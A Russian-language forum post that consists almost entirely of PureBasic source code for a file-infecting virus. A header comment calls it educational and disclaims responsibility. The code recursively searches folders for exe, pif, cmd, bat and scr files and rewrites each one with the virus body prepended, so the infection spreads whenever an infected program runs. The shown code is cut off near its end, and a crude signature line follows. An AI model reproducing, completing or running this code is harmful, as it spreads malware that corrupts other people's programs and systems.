Чеботарь | Дата: Суббота, 03.09.2016, 23:09 | Сообщение # 1 |
Новичок
Зарегистрирован: 03.09.2016
Группа: Пользователи
Сообщений: 3
Статус: Offline
| Код ;*************************************************************************************************** ;* Исходник файлового вируса, написанный на языке PureBasic. Для компиляции в среде PureBasic 5.30. ;* Поведение: вирус ищет и заражает исполняемые файлы, дописывая к ним свой код. ;* Внимание! Программа, скомпилированная из данного исходника, может представлять опасность! ;* Автор не несет ответственности за Ваши действия. Разрешено использование только в учебных целях. ;*************************************************************************************************** EnableExplicit #vsize=16384 ;размер тела вируса, в байтах зависит от версии компилятора. ;Должно точно соответствовать размеру скомпилированного файла. ;Чтобы уточнить, скомпилируйте и посмотрите, сколько у Вас будет весить файл. Global *mem,progname.s,progpath.s Procedure InfectFile(filename.s) ;Простой метод заражения в заголовок (вирус скидывает заражаемый файл в свой оверлей) Define hfile,fsize,*ptr hfile=OpenFile(#PB_Any,filename) If hfile fsize=Lof(hfile) If fsize < #vsize Or fsize > 5000000:CloseFile(hfile):ProcedureReturn:EndIf *ptr=AllocateMemory(fsize) ReadData(hfile,*ptr, fsize) FileSeek(hfile,0) TruncateFile(hfile) WriteData(hfile,*mem,#vsize) FileSeek(hfile,#vsize) WriteData(hfile,*ptr,fsize) CloseFile(hfile) EndIf EndProcedure Procedure Infect(path.s) Define finddata.WIN32_FIND_DATA,hFind.l Define.s fname, ext If Right(path,1) <> "\":path+"\":EndIf hfind=FindFirstFile_(path+"*.*",@finddata) If hfind <> -1 Repeat fname=PeekS(@finddata\cFileName) If (fname <> ".") And (fname <> "..") fname=LCase(path+fname) If fname=LCase(progpath):Continue:EndIf If finddata\dwFileAttributes | #FILE_ATTRIBUTE_DIRECTORY <> #FILE_ATTRIBUTE_DIRECTORY ext=LCase(GetExtensionPart(fname)) If (ext="exe") Or (ext="pif") Or (ext="cmd") Or (ext="bat") Or (ext="scr") infectFile(fname) EndIf Else Infect(fname) EndIf EndIf Until Not FindNextFile_(hfind,@finddata) EndIf EndProcedure Procedure Main() Define.s tmppath Define.l msize,hfile Define PI.PROCESS_INFORMATION Define SI.STARTUPINFO Define *ptr progname=ProgramFilename() progpath=GetPathPart(progname) If Right(progpath,1) <> "\":progpath+"\":EndIf tmppath=RSet(tmppath,300) tmppath=Left(tmppath, GetTempPath_(300,@tmppath)) If Right(tmppath,1) <> "\":tmppath+"\":EndIf tmppath+Str(Random(100000))+Str(Random(100000))+Str(Random(100000))+Str(Random(100)) *mem=AllocateMemory(1) hfile=ReadFile(#PB_Any,progname) If hfile msize=Lof(hfile) If msize < #vsize CloseFile(hfile) End Else *mem=ReAllocateMemory(*mem,#vsize) ReadData(hfile,*mem,#vsize) If msize=#vsize Infect(progpath) Else msize=msize-#vsize *ptr=AllocateMemory(msize) FileSeek(hfile,#vsize) ReadData(hfile,*ptr,msize) CloseFile(hfile) If MoveFile_(progname,tmppath) hfile=CreateFile(#PB_Any,progname) If hfile WriteData(hfile,*ptr,msize) CloseFile(hfile) EndIf FreeMemory(*ptr) endif endif endprocedure
Делаю минеты
|
|
| |